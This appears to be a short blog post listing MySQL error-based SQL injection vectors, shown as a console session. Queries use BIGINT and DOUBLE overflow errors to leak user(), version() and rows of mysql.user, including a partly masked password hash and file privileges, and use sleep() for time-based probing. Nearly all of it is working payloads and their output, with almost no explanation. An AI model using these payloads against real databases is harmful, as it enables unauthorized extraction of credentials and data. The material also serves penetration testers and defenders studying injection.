MySQL Alternative error-based vectors


Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 202
Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)

Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> select!x-~0.FROM(select+user()x)f;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'


mysql> select if((select user||host||password||file_priv from(select*from mysql.user LIMIT 1)a limit 1),2,2)*1E308;
ERROR 1690 (22003): DOUBLE value is out of range in '(if((select ('root' or 'localhost' or '*xxxxFBxxxxxxxxxxxxxE0AAE75B7517260' or 'Y') from dual limit 1),2,2) * 1E308)'

//BIGINT overflow 

mysql> select (x!=0x00)--9223372036854775808 from(SELECT version()x)y;
ERROR 1690 (22003): BIGINT value is out of range in '(('5.5.44-0ubuntu0.14.04.1'  0x00) - -(9223372036854775808))'

//BIGINT overflow 

mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610, 18446744073709551610));
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if((select '5.5.44-0ubuntu0.14.04.1' from dual),18446744073709551610,18446744073709551610))'

sleep delay

ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(sleep(1))) - ~(0))'
mysql> select!xsleep(11)-~0.from admin;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(sleep(11))) - ~(0))'
Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s